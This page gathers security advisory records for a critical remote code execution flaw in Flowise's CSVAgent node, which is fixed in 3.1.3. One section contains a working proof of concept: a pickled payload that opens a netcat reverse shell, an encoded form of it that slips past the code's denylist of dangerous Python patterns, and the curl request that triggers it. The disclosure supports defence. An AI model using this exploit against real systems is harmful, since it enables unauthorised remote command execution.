Flowise: Remote Code Execution Vulnerability in CSVAgent

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 15:45:55 UTC

Source modified

5 Aug 2026 13:41:04 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.

Source published

Aug 4, 2026, 3:45:55 PM (timezone not stated)

Source modified

Aug 5, 2026, 1:41:04 PM (timezone not stated)

Observed here

7 Nov 2026 14:21:33 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 17:17:00 UTC

Source modified

24 Oct 2026 16:10:00 UTC

Observed here

25 Oct 2026 15:18:51 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### Summary The CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution. ### Details The affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`. ```js try { const code = `import pandas as pd import base64 from io import StringIO import json base64_string = "${base64String}" decoded_data = base64.b64decode(base64_string) csv_data = StringIO(decoded_data.decode('utf-8')) df = pd.${customReadCSVFunc} <1> my_dict = df.dtypes.astype(str).to_dict() print(my_dict) json.dumps(my_dict)` dataframeColDict = await pyodide.runPythonAsync(code) } catch (error) { throw new Error(error) } ``` At <1>, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in: ```py const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [ // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports) { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' }, { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' }, // Dangerous builtins { pattern: /\beval\s*\(/g, reason: 'eval()' }, { pattern: /\bexec\s*\(/g, reason: 'exec()' }, { pattern: /\bcompile\s*\(/g, reason: 'compile()' }, { pattern: /\b__import__\s*\(/g, reason: '__import__()' }, { pattern: /\bopen\s*\(/g, reason: 'open()' }, { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' }, { pattern: /\binput\s*\(/g, reason: 'input()' }, { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' }, { pattern: /\bglobals\s*\(/g, reason: 'globals()' }, { pattern: /\blocals\s*\(/g, reason: 'locals()' }, { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' }, { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' }, { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' }, { pattern: /\breload\s*\(/g, reason: 'reload()' }, { pattern: /\bfile\s*\(/g, reason: 'file()' }, { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' }, // Dangerous modules / attributes { pattern: /\bos\./g, reason: 'os module' }, { pattern: /\bsubprocess\./g, reason: 'subprocess module' }, { pattern: /\bsys\./g, reason: 'sys module' }, { pattern: /\bsocket\./g, reason: 'socket module' }, { pattern: /\burllib\./g, reason: 'urllib module' }, { pattern: /\brequests\./g, reason: 'requests module' }, { pattern: /\b__builtins__\b/g, reason: '__builtins__' }, { pattern: /\b__loader__\b/g, reason: '__loader__' }, { pattern: /\b__spec__\b/g, reason: '__spec__' }, { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' }, { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' }, { pattern: /\b__bases__\b/g, reason: '__bases__' }, { pattern: /\b__mro__\b/g, reason: '__mro__' }, { pattern: /\b__globals__\b/g, reason: '__globals__' }, { pattern: /\b__code__\b/g, reason: '__code__' }, { pattern: /\b__closure__\b/g, reason: '__closure__' }, { pattern: /\bvars\s*\(/g, reason: 'vars()' }, { pattern: /\bdir\s*\(/g, reason: 'dir()' }, { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' }, { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' } ] ``` However, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words. ### PoC First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port): ```py import pickle import base64 import os class Exploit: def __reduce__(self): return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",)) payload = pickle.dumps(Exploit()) encoded = base64.b64encode(payload).decode() print(encoded) ``` Run it and note the encoded payload to be used later: ```bash $ python3 pickle-payload-poc.py gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4= ``` 1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow. 2. Drag a "CSV Agent" node onto the canvas. 3. Click on "Additional Parameters" and fill in the following PoC: ```py isnull("") class MiniBytesIO: def __init__(self, b): self.data = b self.pos = 0 def read(self, n=-1): if n == -1: n = len(self.data) - self.pos chunk = self.data[self.pos:self.pos+n] self.pos += n return chunk def readline(self, n=-1): if self.pos >= len(self.data): return b"" next_nl = self.data.find(b"\\n", self.pos) if next_nl == -1: next_nl = len(self.data) if n != -1: next_nl = min(self.pos + n, next_nl) line = self.data[self.pos:next_nl+1] self.pos = next_nl + 1 return line pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4="))) ``` The custom `MiniBytesIO` class needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a "str, path object, or file-like object". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities. Save the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/<UUID>`. Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution: ``` $ curl -X POST http://<TARGET>/api/v1/prediction/<UUID> ```

Source published

4 Aug 2026 15:46:20 UTC

Source modified

4 Aug 2026 18:00:18 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Publisher rating · CRITICAL